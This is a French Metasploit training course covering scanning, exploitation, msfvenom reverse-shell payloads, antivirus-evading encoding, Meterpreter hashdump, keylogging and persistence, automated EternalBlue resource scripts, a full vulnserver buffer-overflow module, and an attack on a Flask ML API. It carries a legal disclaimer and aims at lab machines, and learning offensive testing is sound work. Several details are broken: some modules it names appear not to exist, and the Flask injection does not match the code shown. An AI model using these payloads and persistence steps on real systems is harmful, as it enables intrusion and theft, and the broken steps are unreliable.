Metasploit est un framework open-source utilisĂ© pour le test dâintrusion, lâexploitation de vulnĂ©rabilitĂ©s et la simulation dâattaques rĂ©elles. Il permet aux professionnels de la sĂ©curitĂ©, DevOps, MLOps et SecOps de tester et renforcer la rĂ©silience de leurs systĂšmes.
Metasploit est un framework open source dĂ©diĂ© aux tests d'intrusion (penetration testing), dĂ©veloppĂ© initialement en Perl puis réécrit en Ruby. Il est aujourdâhui maintenu par Rapid7 et constitue lâun des outils les plus puissants et polyvalents pour lâexploitation de vulnĂ©rabilitĂ©s, la simulation dâattaques, et la validation des dĂ©fenses en cybersĂ©curitĂ©.
Ce framework offre un accĂšs Ă des centaines dâexploits, payloads, scanners et outils auxiliaires, permettant de tester lâexposition des systĂšmes Ă des attaques connues. Sa modularitĂ© et son extensibilitĂ© en font une boĂźte Ă outils de choix pour les experts sĂ©curitĂ© comme pour les dĂ©veloppeurs soucieux de renforcer leurs systĂšmes.
Metasploit est utilisé dans trois grands types de contextes :
Il peut ĂȘtre utilisĂ© en ligne de commande via msfconsole, intĂ©grĂ© dans des scripts dâautomatisation via son interface RPC, ou contrĂŽlĂ© par une interface web dans sa version Pro.
Ce cours a pour objectif de vous rendre capable :
La finalitĂ© nâest pas seulement de faire de lâexploitation, mais de comprendre comment sĂ©curiser et tester intelligemment ses infrastructures dans des workflows automatisĂ©s.
Le cours se base sur une machine Linux (Kali) ou une machine contenant les outils suivants :
nmap, nikto, burp suite, curl, gobuster, nessus (si possible), wireshark, etc.Ce cours est strictement rĂ©servĂ© Ă des usages lĂ©gaux et Ă©thiques. Toute tentative dâusage de Metasploit sur un systĂšme que vous ne possĂ©dez pas ou pour lequel vous nâavez pas obtenu une autorisation Ă©crite est illĂ©gale et poursuivable.
Vous devez :
Lâapprentissage de la sĂ©curitĂ© offensive est un puissant levier pour bĂątir des systĂšmes robustes. Il sâaccompagne dâune responsabilitĂ© accrue vis-Ă -vis de la loi et des principes dâĂ©thique professionnelle.
Ce tutoriel est progressif : chaque chapitre introduit de nouveaux concepts et outils, illustrés par des cas pratiques. Il est conçu pour que vous puissiez :
Lâensemble du cours est orientĂ© terrain. Vous nâapprendrez pas uniquement « comment ça marche », mais comment lâintĂ©grer de façon rĂ©aliste Ă vos pratiques actuelles de DevOps ou de sĂ©curitĂ©.
Ă partir de maintenant, nous allons plonger dans lâunivers Metasploit â non pas comme un simple outil de piratage, mais comme un vĂ©ritable catalyseur de rĂ©silience et de contrĂŽle sur vos systĂšmes.
Ce chapitre constitue la premiÚre étape pratique de votre apprentissage de Metasploit. Il est exhaustif et progressif, destiné à ceux qui ne connaissent rien à Metasploit, avec une approche pas à pas. Chaque commande est expliquée, chaque étape justifiée. Suivez le tutoriel ligne par ligne : vous n'avez pas besoin de chercher ailleurs.
Vous avez besoin :
sudo).Metasploit est déjà installé sur Kali Linux. Vérifions-le :
which msfconsole
Si une ligne comme /usr/bin/msfconsole s'affiche, câest bon.
Sinon, installez Metasploit avec :
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
sudo apt update
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
Pour ĂȘtre Ă jour avec les derniers exploits :
sudo msfupdate
Patientez : cela peut prendre quelques minutes.
Metasploit est composé de plusieurs outils intégrés :
| Composant | RĂŽle principal |
|---|---|
msfconsole | Interface interactive principale (CLI) |
msfvenom | Générateur de payloads (reverse shells, bind shells, etc.) |
modules | Exploits, payloads, scanners, post-exploitation, etc. |
meterpreter | Shell avancé post-exploitation (utilisé aprÚs un accÚs) |
cd /usr/share/metasploit-framework/modules
Vous verrez :
exploits/auxiliary/payloads/post/encoders/Chaque dossier contient des scripts Ruby exploitables via msfconsole.
msfconsoleLancez Metasploit :
msfconsole
Patientez quelques secondes. Vous verrez une banniĂšre ASCII.
help # Affiche l'aide complÚte search # Recherche un module use # Charge un module info # Affiche les infos sur le module sélectionné set # Définit une option (ex: IP, port...) show options # Affiche les options nécessaires au module exploit ou run # Lance l'exploitation exit # Quitte msfconsole
search vsftpd
Résultat :
exploit/unix/ftp/vsftpd_234_backdoor
Nous allons exploiter une vulnérabilité classique présente dans la machine Metasploitable2 (VM vulnérable volontairement).
Ouvrez votre hyperviseur (VirtualBox ou VMWare) et lancez la machine Metasploitable2. Notez son IP avec :
ifconfig
Ex : 192.168.56.101
msfconsolemsfconsole
search vsftpd
Choisissez :
exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
show options set RHOSTS 192.168.56.101
Ajustez lâIP si nĂ©cessaire.
exploit
Si la machine est vulnérable, vous aurez un shell root immédiatement.
[*] Command shell session 1 opened...
Vous pouvez taper id ou uname -a pour vĂ©rifier que vous ĂȘtes bien sur la machine distante.
exit
msfconsole search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.56.101 show options exploit id uname -a exit
tab pour l'autocomplĂ©tion.back pour sortir dâun module.setg au lieu de set pour dĂ©finir une option globalement.info) dâun module avant de lâutiliser.Vous ĂȘtes maintenant capable de :
msfconsoleNous allons dans le chapitre 2 plonger plus profondément dans les types de modules et leur articulation.
Ne supprimez pas Metasploitable2 â elle vous servira de terrain de jeu pour la suite !
Dans ce chapitre, vous allez apprendre ce que sont les modules Metasploit, comment ils sont organisés, comment ils interagissent, et comment créer votre propre module personnalisé. Ce chapitre est conçu pour que vous puissiez suivre chaque étape sans avoir à réfléchir ni chercher ailleurs.
Metasploit est entiĂšrement modulaire. Chaque action â scanner, exploit, post-exploitation â est implĂ©mentĂ©e sous forme de module Ruby indĂ©pendant. Voici les grands types de modules que vous devez connaĂźtre :
| Type de module | RĂŽle principal |
|---|---|
exploit | Exploite une vulnérabilité pour obtenir un accÚs |
payload | Code à exécuter aprÚs exploitation (ex: shell) |
auxiliary | Outils de scan, bruteforce, sniffing, DoS, etc. |
post | Actions aprÚs une compromission réussie |
encoder | Encode un payload pour éviter la détection |
nop | GénÚre des "No Operation" (utile pour aligner le shellcode) |
cd /usr/share/metasploit-framework/modules
Vous verrez ces dossiers :
exploits/payloads/auxiliary/post/encoders/nops/Chaque module est un fichier .rb écrit en Ruby.
scanner â exploit â payload â post
scannerAvant dâattaquer, il faut identifier les services actifs sur la cible.
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.101 run
exploitUtilise une faille connue pour injecter un payload.
use exploit/unix/ftp/vsftpd_234_backdoor
payloadCode Ă exĂ©cuter une fois lâaccĂšs obtenu (ex: shell, meterpreter, etc.)
Exemples :
cmd/unix/interactlinux/x86/meterpreter/reverse_tcpMetasploit sélectionne souvent automatiquement un payload compatible. Pour lister les payloads compatibles :
show payloads
Puis :
set PAYLOAD linux/x86/meterpreter/reverse_tcp
postUtilisé aprÚs une session active (ex : extraction de mots de passe, mouvement latéral).
use post/linux/gather/hashdump
đ§ Important : ces modules peuvent ĂȘtre utilisĂ©s manuellement ou scriptĂ©s dans des automatisations (chapitre 5).
exploit/unix/ftp/vsftpd_234_backdoor/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
Ouvrez le fichier avec votre éditeur préféré (ex : nano, vim, code) :
sudo nano /usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
class MetasploitModule < Msf::Exploit::Remote
Ce module hérite de la classe Msf::Exploit::Remote, ce qui en fait un exploit réseau.
def initialize(info = {}) super(update_info(info, 'Name' => 'vsftpd 2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. }, 'Author' => ['hdm'], 'Payload' => {'Compat' => {'PayloadType' => 'cmd_interact', 'RequiredCmd' => 'telnet'}}, 'Platform' => 'unix', 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0))
Ici sont définis les métadonnées du module (nom, description, auteur, compatibilité, etc.)
def exploit connect sock.put("USER test:) \n") sock.put("PASS whatever\r\n") handler disconnect end
Câest ici que la magie opĂšre : la backdoor sâactive avec un USER spĂ©cial, et ouvre un shell sur le port 6200. Le module sây connecte automatiquement.
Nous allons créer un petit module personnalisé qui simule une attaque triviale : afficher un message.
sudo mkdir -p ~/.msf4/modules/auxiliary/example sudo nano ~/.msf4/modules/auxiliary/example/hello_world.rb
require 'msf/core' class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Hello World Module', 'Description' => 'Affiche un message personnalisé', 'Author' => ['Vous'], 'License' => MSF_LICENSE ) end def run print_status("Hello from your first Metasploit module!") end end
msfconsole reload_all
Puis :
use auxiliary/example/hello_world run
[*] Hello from your first Metasploit module!
Félicitations, vous venez de créer et exécuter votre premier module !
Maintenant, vous savez :
Dans le chapitre suivant, nous verrons comment utiliser les scanners intégrés de Metasploit pour effectuer une reconnaissance active sur des cibles vulnérables, en complément ou en alternative à nmap.
Vous pouvez maintenant ouvrir nâimporte quel module
.rbet comprendre ce quâil fait.
Ce chapitre vous apprendra à scanner un réseau, identifier des services, détecter des vulnérabilités connues, et intégrer d'autres outils comme nmap, nikto ou nessus dans un flux de travail offensif. Ce tutoriel est exhaustif, 100% guidé : vous n'avez rien à deviner ni chercher ailleurs.
Avant de lancer un exploit, il est essentiel de connaĂźtre la cible :
Ce travail s'appelle reconnaissance active, et il constitue l'étape 0 de toute attaque maßtrisée.
msfconsolemsfconsole
search portscan
Résultat :
auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101 # Remplacez par l'IP cible set THREADS 10 # Nombre de threads en parallĂšle set PORTS 1-1000 # Plage de ports Ă scanner
run
Vous verrez une liste de ports ouverts, par exemple :
[*] 192.168.56.101:21 - TCP OPEN [*] 192.168.56.101:22 - TCP OPEN
Une fois les ports trouvés, il faut identifier les services actifs.
use auxiliary/scanner/ftp/ftp_version set RHOSTS 192.168.56.101 run
use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.56.101 run
use auxiliary/scanner/http/http_version set RHOSTS 192.168.56.101 set RPORT 80 run
Ces modules renvoient les banniÚres des services (informations précieuses pour l'identification des vulnérabilités).
auxiliary/scanner/*Metasploit fournit des scanners capables de tester des failles connues sans forcément exploiter.
use auxiliary/scanner/ftp/anonymous set RHOSTS 192.168.56.101 run
Résultat : accÚs FTP sans mot de passe possible.
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.56.101 run
Résultat : vous saurez si la machine est vulnérable à MS17-010 (faille célÚbre).
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.56.101 set USERNAME root set PASSWORD '' run
đ§ Ces modules ne modifient pas le systĂšme cible. Ils sont sĂ»rs Ă utiliser en reconnaissance.
nmap dans MetasploitMetasploit peut intégrer les résultats de nmap pour enrichir ses propres données.
nmap -sS -sV -T4 -oX nmap_results.xml 192.168.56.101
-sS : scan SYN-sV : détection de version-T4 : vitesse-oX : sortie XML (obligatoire pour l'import)msfconsole db_import nmap_results.xml
hosts services vulns
nikto (scanner web)nikto est un outil complémentaire pour analyser les failles web.
git clone https://github.com/sullo/nikto # Main script is in program/ cd nikto/program # Run using the shebang interpreter ./nikto.pl -h http://www.example.com # Run using perl (if you forget to chmod) perl nikto.pl -h http://www.example.com
nikto -h http://192.168.56.101
Résultat :
Ces rĂ©sultats peuvent ĂȘtre utilisĂ©s pour choisir les bons modules exploit dans Metasploit ensuite.
Nessus (scanner de vulnérabilités complet)https://www.tenable.com/products/nessus
sudo dpkg -i Nessus-*.deb sudo systemctl start nessusd.service
Interface Web : https://127.0.0.1:8834
.nessus ou .xml, puis importer dans Metasploit :db_import rapport_nessus.xml
resource scripts pour rejouer des séquences (ex : scan + test vulnérabilité).nmap + nikto + Metasploit pour une couverture large.hosts, services, vulns).Dorénavant, vous savez :
nmap, nikto et nessus dans MetasploitDans le prochain chapitre, vous apprendrez Ă passer Ă lâexploitation avancĂ©e, avec des payloads personnalisĂ©s, des contournements dâantivirus et lâutilisation de Meterpreter pour la post-exploitation.
Vous ĂȘtes dĂ©sormais capable de cartographier une cible comme un professionnel.
Dans ce chapitre, vous allez découvrir comment exploiter une CVE réelle, choisir intelligemment entre reverse shell et bind shell, échapper aux antivirus avec msfvenom, et utiliser les fonctions de post-exploitation de Meterpreter. Ce chapitre vous guide pas à pas, comme si vous étiez accompagné.
Cette vulnérabilité permet une élévation de privilÚges locale sur des systÚmes Linux vulnérables.
Lancer Metasploit :
msfconsole
Chercher le module :
search sudo cve-2021-3156
Résultat attendu :
exploit/linux/local/sudo_baron_samedit
use exploit/linux/local/sudo_baron_samedit
set SESSION 1 # Une session utilisateur dĂ©jĂ compromise doit ĂȘtre active set LPORT 4444 # Port dâĂ©coute si payload reverse set TARGET 0 # Choix automatique du systĂšme
đĄ Le module requiert une session active (gĂ©nĂ©ralement via un premier exploit ou accĂšs SSH limitĂ©).
run
root.Ce module illustre comment enchaĂźner plusieurs Ă©tapes : accĂšs initial â Ă©lĂ©vation â post-exploitation.
Câest le code qui sâexĂ©cutera aprĂšs lâexploitation pour Ă©tablir une communication avec lâattaquant.
| Type | Fonctionnement | Avantage | Inconvénient |
|---|---|---|---|
| Reverse shell | La cible initie une connexion vers l'attaquant | Bypass firewall entrant | Besoin d'un listener actif |
| Bind shell | La cible ouvre un port et écoute | Facile à implémenter | Bloqué si firewall en entrée |
msfvenommsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf > shell.elf chmod +x shell.elf
Lancer le listener dans Metasploit :
use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run
Puis exécuter le payload sur la cible :
./shell.elf
msfvenom et encodersLes antivirus détectent souvent les payloads générés. Il faut donc les encoder.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > shell.exe
-e x86/shikata_ga_nai : encodeur-i 5 : nombre dâitĂ©rations (plus = mieux cachĂ©)-f exe : format pour Windowsâ ïž Ce nâest pas infaillible. Certains antivirus modernes dĂ©tectent mĂȘme les payloads encodĂ©s. On utilise parfois des packers (UPX) ou la compilation dâun stub C personnalisĂ©.
Lorsque lâexploitation rĂ©ussit, vous entrez dans une session Meterpreter. Câest une shell amĂ©liorĂ© avec de nombreuses commandes de contrĂŽle.
hashdump
â ïž NĂ©cessite les droits administrateur/root sur la cible.
screenshot
keyscan_start # Attendre un peu que la victime tape... keyscan_dump keyscan_stop
run persistence -X -i 30 -p 4444 -r 192.168.56.1
-X : dĂ©marre au boot-i 30 : tente de se reconnecter toutes les 30 secondes-p et -r : port et IP du listenergetuid # Voir lâidentitĂ© actuelle getsystem # Essaye dâobtenir les privilĂšges SYSTEM
Pour éviter la fermeture de session (ex: quitter Notepad.exe et migrer vers explorer.exe)
ps # Lister les processus migrate PID # Migrer vers un PID donné
Créer un script .rc contenant toutes les commandes :
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit
Sauvegarder sous eternalblue.rc, puis exécuter :
msfconsole -r eternalblue.rc
Ă la fin de ce chapitre, vous savez :
Dans le chapitre suivant, vous apprendrez Ă automatiser lâensemble de votre workflow Metasploit, Ă lâintĂ©grer dans des pipelines DevSecOps, et Ă crĂ©er vos scripts .rc et jobs CI/CD sĂ©curisĂ©s.
Vous ĂȘtes dĂ©sormais en mesure de compromettre une machine, de maintenir l'accĂšs, et dâen extraire des donnĂ©es en toute discrĂ©tion.
Dans ce chapitre, vous allez apprendre à automatiser vos attaques Metasploit, à créer des scripts .rc, à les exécuter sans intervention humaine avec msfconsole -r, et à intégrer ces tests dans un pipeline CI/CD, comme dans une vraie stratégie SecOps. Tout est expliqué étape par étape, pour que vous puissiez reproduire chaque action sans réfléchir ni chercher ailleurs.
.rc ?Un resource script (.rc) est un fichier texte contenant une suite de commandes msfconsole, exĂ©cutĂ©es automatiquement dans lâordre.
Câest lâĂ©quivalent de jouer un scĂ©nario complet sans interaction manuelle.
.rcuse exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit
nano exploit_eb.rc
Collez ceci :
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
exploit -z
-z = ne pas interagir avec la session créée (utile pour scripts).msfconsole -r exploit_eb.rc
â RĂ©sultat attendu : exploitation complĂšte sans interaction manuelle.
Créer un fichier scan_and_exploit.rc :
nano scan_and_exploit.rc
Contenu :
us auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101
set PORTS 445
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
exploit -z
msfconsole -r scan_and_exploit.rc
đĄ Vous pouvez enregistrer lâoutput automatiquement avec :
msfconsole -r scan_and_exploit.rc -o rapport.log
Vous pouvez enchaĂźner des actions Meterpreter via sessions -i et run.
Ajoutez Ă la fin de votre script :
sessions -i 1
getuid
hashdump
run persistence -X -i 60 -p 4444 -r 192.168.56.1
exit
â ïž Le numĂ©ro de session (1) dĂ©pend du contexte. Pour automatiser, prĂ©fĂ©rez lâoption -z + script sĂ©parĂ© de post-exploitation.
FROM vulnerables/web-dvwa EXPOSE 80
.gitlab-ci.yml :stages: - scan scan_with_metasploit: stage: scan image: kalilinux/kali-rolling script: - apt update && apt install -y metasploit-framework - echo "use auxiliary/scanner/http/http_version" > test.rc - echo "set RHOSTS 172.17.0.2" >> test.rc - echo "set RPORT 80" >> test.rc - echo "run" >> test.rc - msfconsole -r test.rc -q -o resultat.txt artifacts: paths: - resultat.txt
đĄ Le script ci-dessus :
test.rc Ă la volĂ©eresultat.txtâ Toujours cibler un environnement contrĂŽlĂ© et isolĂ© (staging, lab, conteneur).
â
Ne jamais lancer un .rc sur une prod réelle sans validation humaine.
â
Coupler les scripts avec des outils comme nmap, Nikto, ou des alertes Prometheus pour corrélation d'événements.
â Garder tous les logs et les inclure dans un dashboard de sĂ©curitĂ© (Ex: ELK, Grafana).
â
Versionner vos scripts .rc comme du code standard.
â Documenter chaque test (nom du module, CVE, effet attendu, risques).
.rc avec Pythonrhost = "192.168.56.101" lhost = "192.168.56.1" with open("autogen.rc", "w") as f: f.write(f"use exploit/windows/smb/ms17_010_eternalblue\n") f.write(f"set RHOSTS {rhost}\n") f.write(f"set PAYLOAD windows/x64/meterpreter/reverse_tcp\n") f.write(f"set LHOST {lhost}\n") f.write(f"set LPORT 4444\n") f.write("exploit -z\n")
Ă la fin de ce chapitre, vous savez :
.rcDans le chapitre suivant, vous apprendrez comment intégrer Metasploit dans une architecture DevSecOps complÚte, avec Jenkins, GitLab, Terraform, conteneurs et environnements de staging sécurisés.
Vous ĂȘtes maintenant capable dâorchestrer des attaques reproductibles, documentĂ©es et traçables comme un professionnel de la sĂ©curitĂ© offensive.
Ce chapitre vous apprend Ă intĂ©grer Metasploit dans une architecture DevSecOps. Vous dĂ©couvrirez comment lâautomatiser dans des pipelines Jenkins ou GitLab CI/CD, comment produire des rapports lisibles, et surtout comment ne jamais compromettre un environnement sensible par erreur. Le tutoriel est conçu pour ĂȘtre 100% exĂ©cutable sans effort.
Les outils offensifs comme Metasploit ne servent pas uniquement aux pentesters. Intégrés dans une logique DevSecOps, ils permettent :
â De dĂ©tecter les vulnĂ©rabilitĂ©s tĂŽt, dĂšs les phases de build et de staging.
â Dâautomatiser les tests de sĂ©curitĂ© au mĂȘme titre que les tests unitaires ou dâintĂ©gration.
â De former les dĂ©veloppeurs Ă Ă©crire du code sĂ©curisĂ©, en montrant les impacts rĂ©els de leurs erreurs.
.gitlab-ci.ymlstages: - security_test metasploit_scan: stage: security_test image: kalilinux/kali-rolling script: - apt update && apt install -y metasploit-framework nmap - echo "use auxiliary/scanner/http/http_version" > scan.rc - echo "set RHOSTS 172.20.0.10" >> scan.rc - echo "set RPORT 3000" >> scan.rc - echo "run" >> scan.rc - msfconsole -r scan.rc -q -o rapport_scan.txt artifacts: paths: - rapport_scan.txt
rapport_scan.txtJenkinsfilepipeline { agent { docker { image 'kalilinux/kali-rolling' } } stages { stage('Install Metasploit') { steps { sh 'apt update && apt install -y metasploit-framework' } } stage('Scan HTTP') { steps { writeFile file: 'scan.rc', text: ''' use auxiliary/scanner/http/http_version set RHOSTS 192.168.56.101 set RPORT 80 run ''' sh 'msfconsole -r scan.rc -q -o rapport.txt' archiveArtifacts artifacts: 'rapport.txt', fingerprint: true } } } }
scan.rcPour que les rĂ©sultats de Metasploit soient lisibles dans un contexte DevSecOps, ils doivent ĂȘtre :
â
Exportés dans un fichier (-o rapport.txt ou via redirection >)
â AgrĂ©gĂ©s dans des tableaux de bord (Grafana, Kibana, ELK, etc.)
â Lisibles par des humains non techniques (via parsing/scripting si besoin)
awkawk '/\[\*\]/ {print $0}' rapport.txt > resume.txt
Ou convertir en JSON avec un parseur Ruby si vous voulez les envoyer dans un SIEM.
đ Nâutiliser Metasploit que sur des environnements isolĂ©s (pas sur la prĂ©prod ou la prod !).
đ Limiter les IPs ciblĂ©es Ă des ranges de lab internes. Exemple : 192.168.x.x, 10.x.x.x
đ Utiliser uniquement les modules non destructifs pour les tests CI/CD (scanners, version check, info leak).
đ CrĂ©er des pipelines spĂ©cifiques de sĂ©curitĂ©, sĂ©parĂ©s des pipelines de build.
đȘȘ Journaliser toutes les actions, et versionner les scripts .rc utilisĂ©s.
âïž Taguer clairement les rapports avec le nom du test, la CVE ciblĂ©e, le module utilisĂ©.
đ„ GĂ©rer les droits d'accĂšs aux rapports sensibles via GitLab/Jenkins/serveur de logs.
Organisez vos tests comme un projet code :
sec_tests/
âââ README.md
âââ exploit_web.rc
âââ scan_ports.rc
âââ post_exploit.rc
âââ parse_results.py
âââ .gitlab-ci.yml
âââ jenkinsfile
Cela permet :
Ă la fin de ce chapitre, vous savez :
Dans le chapitre suivant, vous passerez Ă la simulation dâattaques complĂštes avec dĂ©ploiement dâun lab Red Team / Blue Team, exploitation complĂšte, journalisation et remĂ©diation.
Vous ĂȘtes dĂ©sormais capable dâutiliser Metasploit comme un outil de DevSecOps, intĂ©grĂ©, documentĂ© et contrĂŽlĂ©.
Ce chapitre vous guide pas à pas pour concevoir et déployer des scénarios réalistes de simulation offensive (Red Team) dans un environnement contrÎlé, puis observer la réponse défensive (Blue Team) via la journalisation et la corrélation des événements avec des outils comme ELK ou Wazuh. L'objectif est de pratiquer comme dans une vraie entreprise, sans jamais rien improviser.
Un scĂ©nario Red Team reproduit les actions dâun attaquant rĂ©el, mais dans un environnement isolĂ© et maĂźtrisĂ©.
L'objectif est de :
Chaque scĂ©nario doit ĂȘtre : â RĂ©aliste â Reproductible â Traçable â DocumentĂ©
version: '3.7' services: dvwa: image: vulnerables/web-dvwa ports: - "8080:80" networks: - redblue juiceshop: image: bkimminich/juice-shop ports: - "3000:3000" networks: - redblue wazuh: image: wazuh/wazuh:latest ports: - "5601:5601" # Kibana interface - "9200:9200" # Elasticsearch networks: - redblue networks: redblue: driver: bridge
docker-compose up -d
AccĂšs :
nmap -sV -p 80,3000 localhost
nikto -h http://localhost:3000
Résultat attendu : XSS, injections, headers faibles.
msfconsole search juice use auxiliary/scanner/http/juiceshop_login set RHOSTS 172.20.0.3 # IP du conteneur JuiceShop run
sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@a.com&password=abc" --batch
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.20.0.1 LPORT=4444 -f elf > shell.elf
getuid sysinfo run post/linux/gather/enum_configs
alert, sudo, connection, failed loginExemples de queries :
agent.name:"juiceshop" AND data.win.system.eventID:4625
message:*meterpreter*
Créez un dashboard personnalisé avec :
bash suspectesMettre en place une épreuve Red/Blue interne, avec points attribués pour :
/root/flag.txt)Ă la fin de ce chapitre, vous savez :
Dans le chapitre suivant, vous apprendrez comment créer vos propres exploits Metasploit, adapter un POC, injecter du shellcode, et automatiser votre chaßne d'exploitation complÚte.
Vous ĂȘtes maintenant capable de passer du scan Ă la simulation dâattaque complĂšte, jusquâĂ la dĂ©tection dans une vraie architecture.
Ce chapitre vous guide pas Ă pas dans la crĂ©ation dâun exploit personnalisĂ© dans Metasploit. Vous apprendrez Ă lire un POC (Proof of Concept) depuis ExploitDB, Ă lâadapter dans un module Metasploit, Ă injecter un shellcode, et Ă dĂ©boguer votre exploit avec GDB + pwndbg. Chaque Ă©tape est expliquĂ©e en dĂ©tail, sans rien supposer de vos connaissances.
Nous allons :
msfvenomgdb et pwndbg jusquâĂ lâexĂ©cutionvulnserver (Windows, stack overflow)POC ExploitDB : https://www.exploit-db.com/exploits/9994
Nous allons exploiter ce service Windows vulnérable volontairement.
Télécharger vulnserver.exe : http://www.greyhathacker.net/?page_id=22
Lancez-le sur la VM Windows, port 9999.
Voici un extrait du POC en Python :
buffer = "A" * 2003 + "B" * 4 + "C" * (3000-2007) s = socket.socket() s.connect(("192.168.56.101", 9999)) s.send("TRUN /.:/" + buffer)
A * 2003 : remplit le buffer jusquâĂ lâEIP (instruction pointer)B * 4 : Ă©crase EIP (on peut y mettre lâadresse du shellcode)C * ⊠: padding aprĂšs lâEIPNotre but est de remplacer le
"B" * 4par lâadresse du shellcode, et injecter le shellcode au dĂ©but du buffer.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f c -b "\x00"
-b "\x00" : on exclut les octets interdits (null bytes)-f c : format C compatible avec un bufferCopiez le shellcode généré (commence par unsigned char buf[] = ...)
mkdir -p ~/.msf4/modules/exploits/windows/vulnserver cd ~/.msf4/modules/exploits/windows/vulnserver nano vulnserver_trun.rb
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Vulnserver TRUN Buffer Overflow', 'Description' => 'Stack-based buffer overflow in Vulnserver TRUN command', 'Author' => ['Vous'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Targets' => [['Windows XP SP3', { 'Ret' => 0x625011af }]], 'Payload' => {'BadChars' => "\x00"}, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2020')) register_options([ Opt::RPORT(9999), ]) end def exploit connect junk = "A" * 2003 eip = [target['Ret']].pack('V') nop = make_nops(16) payload_final = junk + eip + nop + payload.encoded sock.put("TRUN /.:/" + payload_final) disconnect end end
đĄ Lâadresse 0x625011af est un jmp esp trouvĂ© dans essfunc.dll de vulnserver (via Mona sous Immunity Debugger).
Dans Metasploit :
msfconsole reload_all use exploit/windows/vulnserver/vulnserver_trun set RHOST 192.168.56.101 set LHOST 192.168.56.1 set PAYLOAD windows/shell_reverse_tcp set LPORT 4444 exploit
Sur Kali, ouvrez un listener :
nc -lvnp 4444
đŻ RĂ©sultat attendu : connexion inversĂ©e de la machine Windows vers Kali
// vuln.c #include <stdio.h> #include <string.h> void vulnerable(char *input) { char buffer[100]; strcpy(buffer, input); } int main(int argc, char *argv[]) { vulnerable(argv[1]); return 0; }
Compilez :
gcc -fno-stack-protector -z execstack vuln.c -o vuln
./vuln $(python3 -c 'print("A"*200)')
gdb ./vuln run $(python3 -c 'print("A"*200)')
info registers : pour voir si EIP est Ă©crasĂ©pattern_create, pattern_offset : outils pwndbg pour trouver lâoffset exactĂ la fin de ce chapitre, vous savez :
Dans le prochain chapitre, vous apprendrez comment adapter Metasploit aux enjeux MLOps, en attaquant des services exposés (API Flask, modÚles ML non protégés), et en sécurisant ces environnements contre les intrusions réelles.
Vous ĂȘtes maintenant capable de transformer un POC dâExploitDB en module Metasploit prĂȘt Ă lâemploi.
Dans ce chapitre, vous allez découvrir comment les environnements MLOps mal configurés deviennent des cibles idéales pour une attaque, comment exploiter une API Flask exposée, comment utiliser Metasploit dans ce contexte, et quelles mesures mettre en place pour se défendre efficacement. Ce chapitre vous guide étape par étape, sans raccourcis, sans hypothÚses.
Les environnements MLOps combinent :
â ïž TrĂšs souvent, ils sont :
Créez un fichier api.py :
from flask import Flask, request, jsonify import pickle import numpy as np app = Flask(__name__) model = pickle.load(open("model.pkl", "rb")) @app.route("/predict", methods=["POST"]) def predict(): data = request.get_json() prediction = model.predict([np.array(data["features"])]) return jsonify({"prediction": prediction.tolist()}) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)
from sklearn.ensemble import RandomForestClassifier import pickle import numpy as np X = np.random.rand(100, 4) y = np.random.randint(0, 2, 100) clf = RandomForestClassifier().fit(X, y) pickle.dump(clf, open("model.pkl", "wb"))
pip install flask scikit-learn numpy python api.py
Accessible sur : http://localhost:5000/predict
nmap -sV -p 5000 192.168.56.101
Résultat : port 5000 ouvert (Flask dev server)
curl -X POST http://192.168.56.101:5000/predict -H "Content-Type: application/json" \ -d '{"features": ["__import__('os').system('id')"]}'
â ïž Flask avec eval() ou dĂ©sĂ©rialisation non sĂ©curisĂ©e est vulnĂ©rable.
msfconsole search flask use exploit/multi/http/flask_unsign_rce set RHOSTS 192.168.56.101 set RPORT 5000 set TARGETURI /predict set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit
đŻ RĂ©sultat attendu : session Meterpreter sur le conteneur Flask
Une fois connecté via Meterpreter :
cd /home/ubuntu/ ls -la cat notebooks/production_model.ipynb
download model.pkl
